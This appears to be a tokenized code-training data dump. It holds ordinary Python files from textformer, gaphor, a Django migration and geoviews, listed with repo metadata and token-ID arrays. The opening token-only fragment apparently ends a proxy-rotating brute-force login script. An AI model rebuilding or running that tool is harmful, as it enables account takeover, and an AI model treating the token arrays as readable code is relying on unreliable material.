1678,
1018,
29901,
13,
4706,
3838,
353,
1722,
29898,
5085,
29889,
1742,
467,
949,
9012,
580,
13,
1678,
5174,
10663,
2392,
29901,
13,
4706,
1596,
703,
14352,
29962,
15945,
4829,
29901,
5399,
596,
1734,
1051,
934,
2224,
29905,
29876,
1159,
13,
4706,
10876,
29889,
13322,
29898,
29896,
29897,
13,
13,
1678,
1018,
29901,
13,
4706,
410,
29916,
952,
353,
1722,
29898,
5085,
29889,
14701,
467,
949,
9012,
580,
13,
1678,
5174,
10663,
2392,
29901,
13,
4706,
1596,
703,
14352,
29962,
15945,
4829,
29901,
5399,
596,
10166,
1051,
934,
2224,
29905,
29876,
1159,
13,
4706,
10876,
29889,
13322,
29898,
29896,
29897,
13,
13,
1678,
396,
9025,
13490,
565,
967,
731,
13,
1678,
565,
903,
8382,
29901,
13,
4706,
396,
4522,
3460,
6433,
13,
4706,
12183,
29889,
16121,
3991,
29898,
5563,
29922,
21027,
29889,
18525,
29892,
10422,
543,
1188,
613,
13,
462,
9651,
3402,
2433,
29995,
29898,
294,
312,
603,
29897,
29879,
448,
1273,
29898,
978,
29897,
29879,
448,
1273,
29898,
5563,
978,
29897,
29879,
448,
1273,
29898,
4906,
29897,
29879,
1495,
13,
4706,
17927,
353,
12183,
29889,
657,
16363,
22168,
978,
1649,
29897,
13,
13,
1678,
1596,
29898,
29891,
13578,
14352,
29962,
17969,
29893,
13578,
23748,
1506,
1082,
10118,
5337,
304,
613,
3148,
1001,
29897,
13,
1678,
1596,
29898,
29891,
13578,
14352,
29962,
17969,
29893,
13578,
2391,
310,
3838,
1476,
373,
934,
613,
851,
29898,
2435,
29898,
9303,
4961,
13,
1678,
1596,
29898,
29891,
13578,
14352,
29962,
17969,
29893,
13578,
2391,
310,
10166,
1476,
373,
410,
29916,
952,
29889,
3945,
613,
851,
29898,
2435,
29898,
771,
29916,
952,
4961,
13,
13,
1678,
1423,
29918,
7712,
1794,
569,
29918,
771,
29916,
952,
29898,
771,
29916,
952,
29897,
13,
1678,
679,
29918,
2395,
9600,
580,
13,
1678,
380,
4254,
580,
13,
2
] |
textformer/utils/__init__.py | gugarosa/textformer | 3 | 1602150 | """Utilities package for all common textformer modules.
"""
| [
1,
9995,
7270,
1907,
3577,
363,
599,
3619,
1426,
24784,
10585,
29889,
13,
15945,
29908,
13,
2
] |
simulation/src/claptrap_simu/__init__.py | Siviuze/CL4P-TP | 0 | 59459 | __import__('eigenpy').switchToNumpyArray()
| [
1,
4770,
5215,
1649,
877,
29872,
2101,
2272,
2824,
15123,
1762,
8009,
2272,
2588,
580,
29871,
13,
2
] |
gaphor/storage/tests/test_verify.py | seryafarma/gaphor | 0 | 69348 | <reponame>seryafarma/gaphor
from gaphor import UML
from gaphor.core.eventmanager import EventManager
from gaphor.core.modeling import ElementFactory
from gaphor.storage.verify import orphan_references
def test_verifier():
factory = ElementFactory(EventManager())
c = factory.create(UML.Class)
p = factory.create(UML.Property)
c.ownedAttribute = p
assert not orphan_references(factory)
# Now create a separate item, not part of the factory:
m = UML.Comment(id="acd123")
m.annotatedElement = c
assert m in c.ownedComment
assert orphan_references(factory)
| [
1,
529,
276,
1112,
420,
29958,
643,
29891,
2142,
22824,
29914,
29887,
481,
2015,
13,
3166,
17261,
2015,
1053,
501,
1988,
13,
3166,
17261,
2015,
29889,
3221,
29889,
3696,
12847,
1053,
6864,
3260,
13,
3166,
17261,
2015,
29889,
3221,
29889,
4299,
292,
1053,
10619,
5126,
13,
3166,
17261,
2015,
29889,
12925,
29889,
27902,
1053,
470,
16711,
29918,
276,
10662,
13,
13,
13,
1753,
1243,
29918,
369,
3709,
7295,
13,
1678,
12529,
353,
10619,
5126,
29898,
2624,
3260,
3101,
13,
1678,
274,
353,
12529,
29889,
3258,
29898,
29965,
1988,
29889,
2385,
29897,
13,
1678,
282,
353,
12529,
29889,
3258,
29898,
29965,
1988,
29889,
4854,
29897,
13,
1678,
274,
29889,
26689,
6708,
353,
282,
13,
13,
1678,
4974,
451,
470,
16711,
29918,
276,
10662,
29898,
14399,
29897,
13,
13,
1678,
396,
2567,
1653,
263,
5004,
2944,
29892,
451,
760,
310,
278,
12529,
29901,
13,
13,
1678,
286,
353,
501,
1988,
29889,
20001,
29898,
333,
543,
562,
29881,
29896,
29906,
29941,
1159,
13,
1678,
286,
29889,
6735,
630,
2642,
353,
274,
13,
1678,
4974,
286,
297,
274,
29889,
26689,
20001,
13,
13,
1678,
4974,
470,
16711,
29918,
276,
10662,
29898,
14399,
29897,
13,
2
] |
api/migrations/0076_auto_20200728_1500.py | IFRCGo/ifrcgo-api | 11 | 39003 | # Generated by Django 2.2.13 on 2020-07-28 15:00
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('api', '0075_profile_last_frontend_login'),
]
operations = [
migrations.RemoveField(
model_name='fieldreport',
name='cases',
),
migrations.RemoveField(
model_name='fieldreport',
name='confirmed_cases',
),
migrations.RemoveField(
model_name='fieldreport',
name='health_min_cases',
),
migrations.RemoveField(
model_name='fieldreport',
name='health_min_confirmed_cases',
),
migrations.RemoveField(
model_name='fieldreport',
name='health_min_num_dead',
),
migrations.RemoveField(
model_name='fieldreport',
name='health_min_probable_cases',
),
migrations.RemoveField(
model_name='fieldreport',
name='health_min_suspected_cases',
),
migrations.RemoveField(
model_name='fieldreport',
name='other_cases',
),
migrations.RemoveField(
model_name='fieldreport',
name='other_confirmed_cases',
),
migrations.RemoveField(
model_name='fieldreport',
name='other_probable_cases',
),
migrations.RemoveField(
model_name='fieldreport',
name='other_suspected_cases',
),
migrations.RemoveField(
model_name='fieldreport',
name='probable_cases',
),
migrations.RemoveField(
model_name='fieldreport',
name='suspected_cases',
),
migrations.RemoveField(
model_name='fieldreport',
name='who_cases',
),
migrations.RemoveField(
model_name='fieldreport',
name='who_confirmed_cases',
),
migrations.RemoveField(
model_name='fieldreport',
name='who_num_dead',
),
migrations.RemoveField(
model_name='fieldreport',
name='who_probable_cases',
),
migrations.RemoveField(
model_name='fieldreport',
name='who_suspected_cases',
),
]
| [
1,
396,
3251,
630,
491,
15337,
29871,
29906,
29889,
29906,
29889,
29896,
29941,
373,
29871,
29906,
29900,
29906,
29900,
29899,
29900,
29955,
29899,
29906,
29947,
29871,
29896,
29945,
29901,
29900,
29900,
13,
13,
3166,
9557,
29889,
2585,
1053,
9725,
800,
13,
13,
13,
1990,
341,
16783,
29898,
26983,
800,
29889,
29924,
16783,
1125,
13,
13,
1678,
9962,
353,
518,
13,
4706,
6702,
2754,
742,
525,
29900,
29900,
29955,
29945,
29918,
10185,
29918,
4230,
29918,
8862,
355,
29918,
7507,
5477,
13,
1678,
4514,
13,
13,
1678,
6931,
353,
518,
13,
4706,
9725,
800,
29889,
15941,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
2671,
12276,
742,
13,
9651,
1024,
2433,
11436,
742,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
15941,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
2671,
12276,
742,
13,
9651,
1024,
2433,
5527,
381,
2168,
29918,
11436,
742,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
15941,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
2671,
12276,
742,
13,
9651,
1024,
2433,
354,
4298,
29918,
1195,
29918,
11436,
742,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
15941,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
2671,
12276,
742,
13,
9651,
1024,
2433,
354,
4298,
29918,
1195,
29918,
5527,
381,
2168,
29918,
11436,
742,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
15941,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
2671,
12276,
742,
13,
9651,
1024,
2433,
354,
4298,
29918,
1195,
29918,
1949,
29918,
311,
328,
742,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
15941,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
2671,
12276,
742,
13,
9651,
1024,
2433,
354,
4298,
29918,
1195,
29918,
22795,
519,
29918,
11436,
742,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
15941,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
2671,
12276,
742,
13,
9651,
1024,
2433,
354,
4298,
29918,
1195,
29918,
29879,
375,
6021,
29918,
11436,
742,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
15941,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
2671,
12276,
742,
13,
9651,
1024,
2433,
1228,
29918,
11436,
742,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
15941,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
2671,
12276,
742,
13,
9651,
1024,
2433,
1228,
29918,
5527,
381,
2168,
29918,
11436,
742,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
15941,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
2671,
12276,
742,
13,
9651,
1024,
2433,
1228,
29918,
22795,
519,
29918,
11436,
742,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
15941,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
2671,
12276,
742,
13,
9651,
1024,
2433,
1228,
29918,
29879,
375,
6021,
29918,
11436,
742,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
15941,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
2671,
12276,
742,
13,
9651,
1024,
2433,
22795,
519,
29918,
11436,
742,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
15941,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
2671,
12276,
742,
13,
9651,
1024,
2433,
29879,
375,
6021,
29918,
11436,
742,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
15941,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
2671,
12276,
742,
13,
9651,
1024,
2433,
15970,
29918,
11436,
742,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
15941,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
2671,
12276,
742,
13,
9651,
1024,
2433,
15970,
29918,
5527,
381,
2168,
29918,
11436,
742,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
15941,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
2671,
12276,
742,
13,
9651,
1024,
2433,
15970,
29918,
1949,
29918,
311,
328,
742,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
15941,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
2671,
12276,
742,
13,
9651,
1024,
2433,
15970,
29918,
22795,
519,
29918,
11436,
742,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
15941,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
2671,
12276,
742,
13,
9651,
1024,
2433,
15970,
29918,
29879,
375,
6021,
29918,
11436,
742,
13,
4706,
10353,
13,
1678,
4514,
13,
2
] |
geoviews/data/geopandas.py | jonmmease/geoviews | 0 | 80082 | <reponame>jonmmease/geoviews<filename>geoviews/data/geopandas.py
from __future__ import absolute_import
import sys
import warnings
from collections import defaultdict
import numpy as np
from holoviews.core.util import isscalar, unique_iterator, unique_array, pd
from holoviews.core.data import Dataset, Interface, MultiInterface
from holoviews.core.data.interface import DataError
from holoviews.core.data import PandasInterface
from holoviews.core.data.spatialpandas import get_value_array
from holoviews.core.dimension import dimension_name
from holoviews.element import Path
from ..util import geom_to_array, geom_types, geom_length
from .geom_dict import geom_from_dict
class GeoPandasInterface(MultiInterface):
types = ()
datatype = 'geodataframe'
multi = True
@classmethod
def loaded(cls):
return 'geopandas' in sys.modules
@classmethod
def applies(cls, obj):
if not cls.loaded():
return False
from geopandas import GeoDataFrame, GeoSeries
return isinstance(obj, (GeoDataFrame, GeoSeries))
@classmethod
def geo_column(cls, data):
from geopandas import GeoSeries
col = 'geometry'
if col in data and isinstance(data[col], GeoSeries):
return col
cols = [c for c in data.columns if isinstance(data[c], GeoSeries)]
if not cols and len(data):
raise ValueError('No geometry column found in geopandas.DataFrame, '
'use the PandasInterface instead.')
return cols[0] if cols else None
@classmethod
def init(cls, eltype, data, kdims, vdims):
import pandas as pd
from geopandas import GeoDataFrame, GeoSeries
if kdims is None:
kdims = eltype.kdims
if vdims is None:
vdims = eltype.vdims
if isinstance(data, GeoSeries):
data = data.to_frame()
if isinstance(data, list):
if all(isinstance(d, geom_types) for d in data):
data = [{'geometry': d} for d in data]
if all(isinstance(d, dict) and 'geometry' in d and isinstance(d['geometry'], geom_types)
for d in data):
data = GeoDataFrame(data)
if not isinstance(data, GeoDataFrame):
data = from_multi(eltype, data, kdims, vdims)
elif not isinstance(data, GeoDataFrame):
raise ValueError("GeoPandasInterface only support geopandas "
"DataFrames not %s." % type(data))
elif 'geometry' not in data:
cls.geo_column(data)
index_names = data.index.names if isinstance(data, pd.DataFrame) else [data.index.name]
if index_names == [None]:
index_names = ['index']
for kd in kdims+vdims:
kd = dimension_name(kd)
if kd in data.columns:
continue
if any(kd == ('index' if name is None else name)
for name in index_names):
data = data.reset_index()
break
try:
shp_types = {gt[5:] if 'Multi' in gt else gt for gt in data.geom_type}
except:
shp_types = []
if len(shp_types) > 1:
raise DataError('The GeopandasInterface can only read dataframes which '
'share a common geometry type, found %s types.' % shp_types,
cls)
return data, {'kdims': kdims, 'vdims': vdims}, {}
@classmethod
def validate(cls, dataset, vdims=True):
dim_types = 'key' if vdims else 'all'
geom_dims = cls.geom_dims(dataset)
if len(geom_dims) != 2:
raise DataError('Expected %s instance to declare two key '
'dimensions corresponding to the geometry '
'coordinates but %d dimensions were found '
'which did not refer to any columns.'
% (type(dataset).__name__, len(geom_dims)), cls)
not_found = [d.name for d in dataset.dimensions(dim_types)
if d not in geom_dims and d.name not in dataset.data]
if not_found:
raise DataError("Supplied data does not contain specified "
"dimensions, the following dimensions were "
"not found: %s" % repr(not_found), cls)
@classmethod
def dtype(cls, dataset, dimension):
name = dataset.get_dimension(dimension, strict=True).name
if name not in dataset.data:
return np.dtype('float') # Geometry dimension
return dataset.data[name].dtype
@classmethod
def has_holes(cls, dataset):
from shapely.geometry import Polygon, MultiPolygon
col = cls.geo_column(dataset.data)
for geom in dataset.data[col]:
if isinstance(geom, Polygon) and geom.interiors:
return True
elif isinstance(geom, MultiPolygon):
for g in geom:
if isinstance(g, Polygon) and g.interiors:
return True
return False
@classmethod
def holes(cls, dataset):
from shapely.geometry import Polygon, MultiPolygon
holes = []
col = cls.geo_column(dataset.data)
for geom in dataset.data[col]:
if isinstance(geom, Polygon) and geom.interiors:
holes.append([[geom_to_array(h) for h in geom.interiors]])
elif isinstance(geom, MultiPolygon):
holes += [[[geom_to_array(h) for h in g.interiors] for g in geom]]
else:
holes.append([[]])
return holes
@classmethod
def select(cls, dataset, selection_mask=None, **selection):
if cls.geom_dims(dataset):
df = cls.shape_mask(dataset, selection)
else:
df = dataset.data
if not selection:
return df
elif selection_mask is None:
selection_mask = cls.select_mask(dataset, selection)
indexed = cls.indexed(dataset, selection)
df = df.iloc[selection_mask]
if indexed and len(df) == 1 and len(dataset.vdims) == 1:
return df[dataset.vdims[0].name].iloc[0]
return df
@classmethod
def shape_mask(cls, dataset, selection):
xdim, ydim = cls.geom_dims(dataset)
xsel = selection.pop(xdim.name, None)
ysel = selection.pop(ydim.name, None)
if xsel is None and ysel is None:
return dataset.data
from shapely.geometry import box
if xsel is None:
x0, x1 = cls.range(dataset, xdim)
elif isinstance(xsel, slice):
x0, x1 = xsel.start, xsel.stop
elif isinstance(xsel, tuple):
x0, x1 = xsel
else:
raise ValueError("Only slicing is supported on geometries, %s "
"selection is of type %s."
% (xdim, type(xsel).__name__))
if ysel is None:
y0, y1 = cls.range(dataset, ydim)
elif isinstance(ysel, slice):
y0, y1 = ysel.start, ysel.stop
elif isinstance(ysel, tuple):
y0, y1 = ysel
else:
raise ValueError("Only slicing is supported on geometries, %s "
"selection is of type %s."
% (ydim, type(ysel).__name__))
bounds = box(x0, y0, x1, y1)
col = cls.geo_column(dataset.data)
df = dataset.data.copy()
df[col] = df[col].intersection(bounds)
return df[df[col].area > 0]
@classmethod
def select_mask(cls, dataset, selection):
mask = np.ones(len(dataset.data), dtype=np.bool)
for dim, k in selection.items():
if isinstance(k, tuple):
k = slice(*k)
arr = dataset.data[dim].values
if isinstance(k, slice):
with warnings.catch_warnings():
warnings.filterwarnings('ignore', r'invalid value encountered')
if k.start is not None:
mask &= k.start <= arr
if k.stop is not None:
mask &= arr < k.stop
elif isinstance(k, (set, list)):
iter_slcs = []
for ik in k:
with warnings.catch_warnings():
warnings.filterwarnings('ignore', r'invalid value encountered')
iter_slcs.append(arr == ik)
mask &= np.logical_or.reduce(iter_slcs)
elif callable(k):
mask &= k(arr)
else:
index_mask = arr == k
if dataset.ndims == 1 and np.sum(index_mask) == 0:
data_index = np.argmin(np.abs(arr - k))
mask = np.zeros(len(dataset), dtype=np.bool)
mask[data_index] = True
else:
mask &= index_mask
return mask
@classmethod
def geom_dims(cls, dataset):
return [d for d in dataset.kdims + dataset.vdims
if d.name not in dataset.data]
@classmethod
def dimension_type(cls, dataset, dim):
col = cls.geo_column(dataset.data)
arr = geom_to_array(dataset.data[col].iloc[0])
ds = dataset.clone(arr, datatype=cls.subtypes, vdims=[])
return ds.interface.dimension_type(ds, dim)
@classmethod
def isscalar(cls, dataset, dim, per_geom=False):
"""
Tests if dimension is scalar in each subpath.
"""
dim = dataset.get_dimension(dim)
geom_dims = cls.geom_dims(dataset)
if dim in geom_dims:
return False
elif per_geom:
return all(isscalar(v) or len(list(unique_array(v))) == 1
for v in dataset.data[dim.name])
dim = dataset.get_dimension(dim)
return len(dataset.data[dim.name].unique()) == 1
@classmethod
def range(cls, dataset, dim):
dim = dataset.get_dimension(dim)
geom_dims = cls.geom_dims(dataset)
if dim in geom_dims:
col = cls.geo_column(dataset.data)
idx = geom_dims.index(dim)
bounds = dataset.data[col].bounds
if idx == 0:
return bounds.minx.min(), bounds.maxx.max()
else:
return bounds.miny.min(), bounds.maxy.max()
else:
vals = dataset.data[dim.name]
return vals.min(), vals.max()
@classmethod
def aggregate(cls, columns, dimensions, function, **kwargs):
raise NotImplementedError
@classmethod
def add_dimension(cls, dataset, dimension, dim_pos, values, vdim):
data = dataset.data.copy()
geom_col = cls.geo_column(dataset.data)
if dim_pos >= list(data.columns).index(geom_col):
dim_pos -= 1
if dimension.name not in data:
data.insert(dim_pos, dimension.name, values)
return data
@classmethod
def groupby(cls, dataset, dimensions, container_type, group_type, **kwargs):
geo_dims = cls.geom_dims(dataset)
if any(d in geo_dims for d in dimensions):
raise DataError("GeoPandasInterface does not allow grouping "
"by geometry dimension.", cls)
return PandasInterface.groupby(dataset, dimensions, container_type, group_type, **kwargs)
@classmethod
def reindex(cls, dataset, kdims=None, vdims=None):
return dataset.data
@classmethod
def sample(cls, columns, samples=[]):
raise NotImplementedError
@classmethod
def sort(cls, dataset, by=[], reverse=False):
geo_dims = cls.geom_dims(dataset)
if any(d in geo_dims for d in by):
raise DataError("SpatialPandasInterface does not allow sorting "
"by geometry dimension.", cls)
return PandasInterface.sort(dataset, by, reverse)
@classmethod
def shape(cls, dataset):
return (cls.length(dataset), len(dataset.dimensions()))
@classmethod
def length(cls, dataset):
geom_type = cls.geom_type(dataset)
if geom_type != 'Point':
return len(dataset.data)
return sum([geom_length(g) for g in dataset.data.geometry])
@classmethod
def nonzero(cls, dataset):
return bool(cls.length(dataset))
@classmethod
def redim(cls, dataset, dimensions):
return PandasInterface.redim(dataset, dimensions)
@classmethod
def values(cls, dataset, dimension, expanded=True, flat=True, compute=True, keep_index=False):
dimension = dataset.get_dimension(dimension)
geom_dims = dataset.interface.geom_dims(dataset)
data = dataset.data
isgeom = (dimension in geom_dims)
geom_col = cls.geo_column(dataset.data)
is_points = cls.geom_type(dataset) == 'Point'
if not len(data):
dtype = float if isgeom else dataset.data[dimension.name].dtype
return np.array([], dtype=dtype)
col = cls.geo_column(dataset.data)
if isgeom and keep_index:
return data[col]
elif not isgeom:
return get_value_array(data, dimension, expanded, keep_index,
geom_col, is_points, geom_length)
column = data[dimension.name]
if not expanded or keep_index or not len(data):
return column if keep_index else column.values
else:
arrays = []
for i, geom in enumerate(data[col]):
length = geom_length(geom)
arrays.append(np.full(length, column.iloc[i]))
return np.concatenate(arrays) if len(arrays) > 1 else arrays[0]
values = []
geom_type = data.geom_type.iloc[0]
ds = dataset.clone(data.iloc[0].to_dict(), datatype=['geom_dictionary'])
for i, row in data.iterrows():
ds.data = row.to_dict()
values.append(ds.interface.values(ds, dimension))
if 'Point' not in geom_type and expanded:
values.append([np.NaN])
values = values if 'Point' in geom_type or not expanded else values[:-1]
if len(values) == 1:
return values[0]
elif not values:
return np.array([])
elif not expanded:
array = np.empty(len(values), dtype=object)
array[:] = values
return array
else:
return np.concatenate(values)
@classmethod
def iloc(cls, dataset, index):
from geopandas import GeoSeries
from shapely.geometry import MultiPoint
rows, cols = index
geom_dims = cls.geom_dims(dataset)
geom_col = cls.geo_column(dataset.data)
scalar = False
columns = list(dataset.data.columns)
if isinstance(cols, slice):
cols = [d.name for d in dataset.dimensions()][cols]
elif np.isscalar(cols):
scalar = np.isscalar(rows)
cols = [dataset.get_dimension(cols).name]
else:
cols = [dataset.get_dimension(d).name for d in index[1]]
if not all(d in cols for d in geom_dims):
raise DataError("Cannot index a dimension which is part of the "
"geometry column of a spatialpandas DataFrame.", cls)
cols = list(unique_iterator([
columns.index(geom_col) if c in geom_dims else columns.index(c) for c in cols
]))
geom_type = dataset.data[geom_col].geom_type.iloc[0]
if geom_type != 'MultiPoint':
if scalar:
return dataset.data.iloc[rows[0], cols[0]]
elif isscalar(rows):
rows = [rows]
return dataset.data.iloc[rows, cols]
geoms = dataset.data[geom_col]
count = 0
new_geoms, indexes = [], []
for i, geom in enumerate(geoms):
length = len(geom)
if np.isscalar(rows):
if count <= rows < (count+length):
new_geoms.append(geom[rows-count])
indexes.append(i)
break
elif isinstance(rows, slice):
if rows.start is not None and rows.start > (count+length):
continue
elif rows.stop is not None and rows.stop < count:
break
start = None if rows.start is None else max(rows.start - count, 0)
stop = None if rows.stop is None else min(rows.stop - count, length)
if rows.step is not None:
dataset.param.warning(".iloc step slicing currently not supported for"
"the multi-tabular data format.")
indexes.append(i)
new_geoms.append(geom[start:stop])
elif isinstance(rows, (list, set)):
sub_rows = [(r-count) for r in rows if count <= r < (count+length)]
if not sub_rows:
continue
indexes.append(i)
new_geoms.append(MultiPoint([geom[r] for r in sub_rows]))
count += length
new = dataset.data.iloc[indexes].copy()
new[geom_col] = GeoSeries(new_geoms)
return new
@classmethod
def split(cls, dataset, start, end, datatype, **kwargs):
objs = []
xdim, ydim = dataset.kdims[:2]
if not len(dataset.data):
return []
row = dataset.data.iloc[0]
col = cls.geo_column(dataset.data)
arr = geom_to_array(row[col])
d = {(xdim.name, ydim.name): arr}
d.update({vd.name: row[vd.name] for vd in dataset.vdims})
geom_type = cls.geom_type(dataset)
ds = dataset.clone([d], datatype=['multitabular'])
for i, row in dataset.data.iterrows():
if datatype == 'geom':
objs.append(row[col])
continue
geom = row[col]
gt = geom_type or get_geom_type(geom)
arr = geom_to_array(geom)
d = {xdim.name: arr[:, 0], ydim.name: arr[:, 1]}
d.update({vd.name: row[vd.name] for vd in dataset.vdims})
ds.data = [d]
if datatype == 'array':
obj = ds.array(**kwargs)
elif datatype == 'dataframe':
obj = ds.dframe(**kwargs)
elif datatype in ('columns', 'dictionary'):
d['geom_type'] = gt
obj = d
elif datatype is None:
obj = ds.clone()
else:
raise ValueError("%s datatype not support" % datatype)
objs.append(obj)
return objs
def get_geom_type(geom):
"""Returns the HoloViews geometry type.
Args:
geom: A shapely geometry
Returns:
A string representing type of the geometry.
"""
from shapely.geometry import (
Point, LineString, Polygon, Ring, MultiPoint, MultiPolygon, MultiLineString
)
if isinstance(geom, (Point, MultiPoint)):
return 'Point'
elif isinstance(geom, (LineString, MultiLineString)):
return 'Line'
elif isinstance(geom, Ring):
return 'Ring'
elif isinstance(geom, (Polygon, MultiPolygon)):
return 'Polygon'
def to_geopandas(data, xdim, ydim, columns=[], geom='point'):
"""Converts list of dictionary format geometries to spatialpandas line geometries.
Args:
data: List of dictionaries representing individual geometries
xdim: Name of x-coordinates column
ydim: Name of y-coordinates column
ring: Whether the data represents a closed ring
Returns:
A spatialpandas.GeoDataFrame version of the data
"""
from geopandas import GeoDataFrame
from shapely.geometry import (
Point, LineString, Polygon, MultiPoint, MultiPolygon, MultiLineString
)
poly = any('holes' in d for d in data) or geom == 'Polygon'
if poly:
single_type, multi_type = Polygon, MultiPolygon
elif geom == 'Line':
single_type, multi_type = LineString, MultiLineString
else:
single_type, multi_type = Point, MultiPoint
converted = defaultdict(list)
for geom_dict in data:
geom_dict = dict(geom_dict)
geom = geom_from_dict(geom_dict, xdim, ydim, single_type, multi_type)
for c, v in geom_dict.items():
converted[c].append(v)
converted['geometry'].append(geom)
return GeoDataFrame(converted, columns=['geometry']+columns)
def from_multi(eltype, data, kdims, vdims):
"""Converts list formats into geopandas.GeoDataFrame.
Args:
eltype: Element type to convert
data: The original data
kdims: The declared key dimensions
vdims: The declared value dimensions
Returns:
A GeoDataFrame containing the data in the list based format.
"""
from geopandas import GeoDataFrame
new_data = []
types = []
xname, yname = (kd.name for kd in kdims[:2])
for d in data:
types.append(type(d))
if isinstance(d, dict):
d = {k: v if isscalar(v) else np.asarray(v) for k, v in d.items()}
new_data.append(d)
continue
new_el = eltype(d, kdims, vdims)
if new_el.interface is GeoPandasInterface:
types[-1] = GeoDataFrame
new_data.append(new_el.data)
continue
new_dict = {}
for d in new_el.dimensions():
if d in (xname, yname):
scalar = False
else:
scalar = new_el.interface.isscalar(new_el, d)
vals = new_el.dimension_values(d, not scalar)
new_dict[d.name] = vals[0] if scalar else vals
new_data.append(new_dict)
if len(set(types)) > 1:
raise DataError('Mixed types not supported')
if new_data and types[0] is GeoDataFrame:
data = pd.concat(new_data)
else:
columns = [d.name for d in kdims+vdims if d not in (xname, yname)]
geom = GeoPandasInterface.geom_type(eltype)
if not len(data):
return GeoDataFrame([], columns=['geometry']+columns)
data = to_geopandas(new_data, xname, yname, columns, geom)
return data
Interface.register(GeoPandasInterface)
Dataset.datatype = Dataset.datatype+['geodataframe']
Path.datatype = Path.datatype+['geodataframe']
| [
1,
529,
276,
1112,
420,
29958,
13022,
29885,
1004,
559,
29914,
479,
586,
646,
29879,
29966,
9507,
29958,
479,
586,
646,
29879,
29914,
1272,
29914,
479,
459,
7086,
29889,
2272,
13,
3166,
4770,
29888,
9130,
1649,
1053,
8380,
29918,
5215,
13,
13,
5215,
10876,
13,
5215,
18116,
13,
13,
3166,
16250,
1053,
2322,
8977,
13,
13,
5215,
12655,
408,
7442,
13,
13,
3166,
8753,
586,
646,
29879,
29889,
3221,
29889,
4422,
1053,
1721,
1052,
279,
29892,
5412,
29918,
17609,
29892,
5412,
29918,
2378,
29892,
10518,
13,
3166,
8753,
586,
646,
29879,
29889,
3221,
29889,
1272,
1053,
13373,
24541,
29892,
25796,
29892,
14974,
10448,
13,
3166,
8753,
586,
646,
29879,
29889,
3221,
29889,
1272,
29889,
13248,
29871,
1053,
3630,
2392,
13,
3166,
8753,
586,
646,
29879,
29889,
3221,
29889,
1272,
1053,
349,
7086,
10448,
13,
3166,
8753,
586,
646,
29879,
29889,
3221,
29889,
1272,
29889,
1028,
15238,
15112,
1053,
679,
29918,
1767,
29918,
2378,
13,
3166,
8753,
586,
646,
29879,
29889,
3221,
29889,
6229,
2673,
1053,
9927,
29918,
978,
13,
3166,
8753,
586,
646,
29879,
29889,
5029,
1053,
10802,
13,
13,
3166,
6317,
4422,
1053,
23216,
29918,
517,
29918,
2378,
29892,
23216,
29918,
8768,
29892,
23216,
29918,
2848,
13,
3166,
869,
479,
290,
29918,
8977,
1053,
23216,
29918,
3166,
29918,
8977,
13,
13,
13,
1990,
1879,
29877,
29925,
7086,
10448,
29898,
15329,
10448,
1125,
13,
13,
1678,
4072,
353,
3861,
13,
13,
1678,
1418,
23179,
353,
525,
479,
397,
532,
2557,
29915,
13,
13,
1678,
2473,
353,
5852,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
7500,
29898,
25932,
1125,
13,
4706,
736,
525,
479,
459,
7086,
29915,
297,
10876,
29889,
7576,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
16058,
29898,
25932,
29892,
5446,
1125,
13,
4706,
565,
451,
1067,
29879,
29889,
15638,
7295,
13,
9651,
736,
7700,
13,
4706,
515,
1737,
459,
7086,
1053,
1879,
29877,
17271,
29892,
1879,
29877,
19204,
13,
4706,
736,
338,
8758,
29898,
5415,
29892,
313,
7999,
29877,
17271,
29892,
1879,
29877,
19204,
876,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
1737,
29877,
29918,
4914,
29898,
25932,
29892,
848,
1125,
13,
4706,
515,
1737,
459,
7086,
1053,
1879,
29877,
19204,
13,
4706,
784,
353,
525,
19156,
29915,
13,
4706,
565,
784,
297,
848,
322,
338,
8758,
29898,
1272,
29961,
1054,
1402,
1879,
29877,
19204,
1125,
13,
9651,
736,
784,
13,
4706,
28730,
353,
518,
29883,
363,
274,
297,
848,
29889,
13099,
565,
338,
8758,
29898,
1272,
29961,
29883,
1402,
1879,
29877,
19204,
4638,
13,
4706,
565,
451,
28730,
322,
7431,
29898,
1272,
1125,
13,
9651,
12020,
7865,
2392,
877,
3782,
16303,
1897,
1476,
297,
1737,
459,
7086,
29889,
17271,
29892,
525,
13,
462,
632,
525,
1509,
278,
349,
7086,
10448,
2012,
29889,
1495,
13,
4706,
736,
28730,
29961,
29900,
29962,
565,
28730,
1683,
6213,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
